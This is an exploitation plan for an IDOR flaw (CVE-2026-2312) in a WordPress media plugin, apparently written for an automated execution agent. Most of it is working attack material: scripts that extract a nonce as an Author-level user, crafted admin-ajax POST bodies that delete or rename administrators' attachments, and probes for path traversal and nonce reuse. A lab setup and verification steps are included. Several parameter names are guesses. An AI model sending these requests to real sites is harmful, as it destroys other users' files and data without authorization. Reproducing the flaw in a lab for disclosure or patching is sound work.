Exploitation Research Plan: CVE-2026-2312 (Media Library Folders)

1. Vulnerability Summary

The Media Library Folders plugin for WordPress (versions <= 8.3.6) contains an Insecure Direct Object Reference (IDOR) vulnerability. The functions delete_maxgalleria_media() and maxgalleria_rename_image() fail to validate that the user requesting the deletion or renaming of a media attachment has the proper ownership or administrative permissions for that specific object. While the plugin likely checks for basic permissions (Author-level and above), it does not verify if the target attachment_id belongs to the current user, allowing an Author to delete or rename attachments uploaded by Administrators or other users.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Actions:
  • delete_maxgalleria_media (for arbitrary deletion)
  • maxgalleria_rename_image (for arbitrary renaming and metadata loss)
• Vulnerable Parameters:
  • attachment_id (or image_id - inferred from function names)
• Required Authentication: Author-level (capability upload_files is typically required to access the plugin's folder management UI).
• Preconditions: The attacker must know the ID of an attachment owned by another user (e.g., an Administrator's uploaded image).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers AJAX handlers in its initialization logic:

   add_action('wp_ajax_delete_maxgalleria_media', array($this, 'delete_maxgalleria_media'));
   add_action('wp_ajax_maxgalleria_rename_image', array($this, 'maxgalleria_rename_image'));
   

2. Vulnerable Sink (Deletion): delete_maxgalleria_media() receives an ID, likely performs a current_user_can('upload_files') check and a nonce check, but then proceeds directly to call wp_delete_attachment($id, true) without checking if get_post_field('post_author', $id) matches the current user.
3. Vulnerable Sink (Rename): maxgalleria_rename_image() receives an ID and a new name. It renames the file on the filesystem and updates the database. Crucially, the vulnerability description notes that this flow "deletes all postmeta for the target attachment," likely due to an improper update routine (e.g., using wp_insert_attachment or a manual SQL query that doesn't preserve meta).

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its AJAX operations on the Media Library Folders admin page.

1. Identify Shortcode/Page: The plugin creates a custom admin menu under "Media Library Folders".
2. Access Page: Log in as an Author and navigate to wp-admin/admin.php?page=media-library-folders.
3. Extract Nonce: The nonce is likely localized in a script block. Based on typical plugin naming:
   • JavaScript Variable: window.mlf_obj or window.mlf_settings (inferred)
   • Nonce Key: mlf_nonce or nonce (inferred)
4. Action:

   // Execution agent should try:
   browser_eval("window.mlf_obj?.nonce || window.mlf_settings?.nonce || jQuery('input[name=\"mlf_nonce\"]').val()")
   

5. Exploitation Strategy

Attack A: Arbitrary Deletion

1. Identify Target: Find an attachment ID owned by the admin (e.g., ID 10).
2. Obtain Nonce: Extract the nonce as an Author user.
3. Send Delete Request:
   • Tool: http_request
   • Method: POST
   • URL: http://[target]/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=delete_maxgalleria_media&attachment_id=10&nonce=[NONCE] (Note: verify parameter name attachment_id via browser_eval or source check).

Attack B: Arbitrary Rename (Data Loss)

1. Identify Target: Find an attachment ID owned by the admin (e.g., ID 11).
2. Obtain Nonce: Extract the nonce as an Author user.
3. Send Rename Request:
   • Tool: http_request
   • Method: POST
   • URL: http://[target]/wp-admin/admin-ajax.php
   • Body: action=maxgalleria_rename_image&image_id=11&new_name=pwned_image&nonce=[NONCE] (Note: verify parameter name image_id and new_name).

6. Test Data Setup

1. Create Admin User: wp user create admin_user admin@example.com --role=administrator --user_pass=password
2. Create Author User: wp user create author_user author@example.com --role=author --user_pass=password
3. Upload Admin File:
   • wp media import /path/to/image.jpg --user=admin_user
   • Capture the resulting ID (let's say ID 123).
4. Add Metadata to Admin File:
   • wp post meta add 123 test_key "valuable_data"
5. Verify Setup: Confirm ID 123 is owned by the admin.

7. Expected Results

• Deletion: The http_request returns a success indicator (JSON {success: true} or 1). The file at ID 123 is removed from the database and filesystem.
• Rename: The http_request returns success. The attachment record for ID 123 now has a different filename/slug.
• Data Loss: wp post meta list 123 returns empty, confirming the test_key was deleted.

8. Verification Steps

1. Verify Deletion:

   wp post exists 123
   # Expected: Exit code 1 (Does not exist)
   

2. Verify Rename & Meta Loss:

   wp post get 123 --field=post_title
   # Expected: "pwned_image"
   wp post meta get 123 test_key
   # Expected: Error: Could not find meta.
   

9. Alternative Approaches

• Different Parameter Names: If attachment_id fails, check for image_id, id, or attachmentID by inspecting the network tab in the browser while performing a legitimate action as the Author.
• Direct Path Traversal: Check if new_name in the rename function allows directory traversal (e.g., ../../secrets), though the primary vulnerability is the IDOR.
• Generic Nonce: Check if the nonce used for other Media Library Folders actions (like creating a folder) works for the deletion/rename actions (Bypass 1 from knowledge base).